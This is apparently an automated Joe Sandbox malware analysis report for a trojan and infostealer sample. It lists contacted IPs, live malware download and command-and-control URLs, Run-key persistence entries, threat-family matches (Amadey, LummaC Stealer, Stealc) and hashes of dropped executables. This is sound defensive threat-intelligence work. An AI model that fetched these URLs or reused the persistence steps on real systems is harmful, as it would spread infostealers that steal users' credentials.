https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001C.00000002.2738641118.000001D4620C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 0000002A.00000002.2985567217.000001FA77749000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest5	firefox.exe, 0000002A.00000002.3006054844.000001FA790C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000002A.00000002.2987935129.000001FA77BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2976862750.000001FA76CEB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://amazon.com	firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000002A.00000002.3012622457.000001FA79794000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000002A.00000002.2945499995.000001FA73194000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	1026aa8304.exe, 1026aa8304.exe, 00000007.00000003.2817273993.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2816524312.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000002.2921600485.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001C.00000002.2738641118.000001D462012000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	1026aa8304.exe, 00000007.00000003.2488003608.0000000005694000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2641668843.00000000056A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.comr	firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.iqiyi.com/	firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2726148601.0000023511BCE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1403293	firefox.exe, 0000002A.00000002.2978998870.000001FA76F46000.00000004.00000800.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://www.ethiopic.org/Collation/OrderedLists.html.	firefox.exe, 0000002A.00000002.2972425294.000001FA767AC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe3b3	skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://www.inbox.lv/rfc2368/?value=%su	firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.comTY8H	firefox.exe, 0000002A.00000002.2969522709.000001FA76498000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561571
Start date and time:	2024-11-23 20:21:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@96/23@48/14
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 2.23.162.57, 172.217.19.227, 172.217.17.46, 74.125.205.84, 2.20.41.214, 34.104.35.123, 20.189.173.5, 216.58.208.234, 172.217.17.42, 142.250.181.106, 142.250.181.138, 172.217.19.170, 142.250.181.74, 172.217.19.234, 172.217.17.74, 172.217.19.202, 13.74.129.1, 2.20.68.216, 2.20.68.201, 52.12.64.98, 35.80.238.59, 35.164.125.63
Excluded domains from analysis (whitelisted): onedscolprdwus04.westus.cloudapp.azure.com, slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, incoming.telemetry.mozilla.org, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, c1.microsoft.com, location.services.
Execution Graph export aborted for target 1026aa8304.exe, PID 8024 because there are no executed function
Execution Graph export aborted for target 3c882da37a.exe, PID 3020 because there are no executed function
Execution Graph export aborted for target file.exe, PID 3104 because it is empty
Execution Graph export aborted for target skotes.exe, PID 1136 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7252 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:23:01	API Interceptor	498782x Sleep call for process: skotes.exe modified
14:23:16	API Interceptor	163x Sleep call for process: 1026aa8304.exe modified
19:22:01	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:23:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1026aa8304.exe C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe
19:23:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3c882da37a.exe C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe
19:23:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8e42b8a1d9.exe C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe
19:23:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 822dda4848.exe C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe
19:23:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1026aa8304.exe C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe
19:24:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3c882da37a.exe C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe
19:24:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8e42b8a1d9.exe C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe
19:24:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 822dda4848.exe C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
property-imper.sbs	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	S#U043eftWare.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	17323828261cfef277a3375a886445bf7f5a834ebb1cc85e533e9ac93595cd0e56ebd12426132.dat-decoded.exe	Get hash	malicious	XWorm	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	sora.arm.elf	Get hash	malicious	Mirai	Browse	104.214.22.71
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	104.147.102.52
	sora.x86.elf	Get hash	malicious	Mirai	Browse	20.74.225.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	https://myqrcode.mobi/qr/3c3aa5e1/view	Get hash	malicious	Unknown	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 2.23.161.164 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63 2.23.161.164 20.12.23.50
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Process:	C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1840128
Entropy (8bit):	7.947652645044466
Encrypted:	false
SSDEEP:	49152:Chthc6twD12TENAaDstLCXgBgM8IwAfm+ekLqfIWZco:ChtO66R24NPwQg6MDwxfHco
MD5:	ACC594995958C5CF5F107FE27DB38F8E
SHA1:	92B6E9EE6A4A61B292883566738F8B7E038F5EB1
SHA-256:	2C3841D0070158D8F5824289380656AAD74C190DDFD4EE8240EEFBFD16988B89
SHA-512:	E82304A2948AB275C1B243255CE5DC01E5E2763F766EAEA6915F6E7BE0D130AB7E92D52B38F8F1186D30C809A7DA2697F06BF55EB9152A52C81A26DF8F21373C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................I...........@..........................@I.....pS....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..)..........v..............@...rriqemsb....../..v...x..............@...gdzxkufk......I.....................@....taggant.0....I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1703936
Entropy (8bit):	7.985835703496321
Encrypted:	false
SSDEEP:	24576:VWeW72sR7Z5gnGT/XlOqhjGAG0YthUnTkmq9c/LvrbAIF/sDOT+Xcltd+8LDtw:VWwsn5gncYovGNAnAp9kLvrMnZclfVtw
MD5:	D9A3047DCDFDE0C22F28852A265754A4
SHA1:	B02B01F7788CD4129C2669D97CF22EE7368981E1
SHA-256:	B05952A67E3E461283AF3E989BBFC20BC3D3D07507053585C12BB41AF7078C2C
SHA-512:	05DD0C7D1D88029DECA0AB95508AAE8930B095B6C13116806F33B18F92A60FC87B16B4AD77F17901B4634B14C374F9129BFB5971D64A3BEB1B113C4E5E94BC4E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...@........J...@..........................p........C...@... ............................._.q.s............................#..............................."...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...pcnvptyg.@......4....'.............@...tgxkadws.....0........B.............@....taggant.0...@..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922112
Entropy (8bit):	6.591406128973678
Encrypted:	false
SSDEEP:	12288:mqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgawTp:mqDEvCTbMWu7rQYlBQcBiT6rprG8aIp
MD5:	7F05860BAEE4FF5DA95E342EAEE96E85
SHA1:	A909D75EE89B3123F66C6AB227106C66E8CB5FB7
SHA-256:	DABB569816B302DCCB1FA4C032F5E39A2660D32C3F95ECE75E9EBF4144CE0B17
SHA-512:	A963CABE33D4F92041A1731AFAE796ADD8FD1EBB448583EDFA9CF1A7E427BAD514881B9DBF3D404C700D3BB24BEAB89FAD4266FBAEFD1AEF3E76D4FAD05BC0D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.... Bg.........."..........b......w.............@..........................p......N.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2801152
Entropy (8bit):	6.469810559066633
Encrypted:	false
SSDEEP:	49152:ytI4w1YdpuqRwYUKZgayx0FjPk3QYtGbfYwWL:yy42YdpuqRwYTZgbWraQYt6Y
MD5:	9A939117E7E796C8036B7A92BAC70C4F
SHA1:	74FE3772448794929F7F18F1C72F4F388B573468
SHA-256:	D94DEC75C03B2044787F940BD7D96BF066EEADA41E23854726EC54F2FF77BD72
SHA-512:	A722C1AF22A5B67F5618B080F561977DBE5686ABE1923A618A67A9C643A4CF814C033869625585CD8BFF603F342A8CCFE2103654D9D6CC2BD87D56C097B651EC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....c:+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...bqkfoemv.`......^..:..............@...wtifjdmh. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1809920
Entropy (8bit):	7.944743880021534
Encrypted:	false
SSDEEP:	49152:12+LhJrTVTCyrc3j2x4uDgwcTXXZHa6hS8R+:11hrCyrcxfCaS
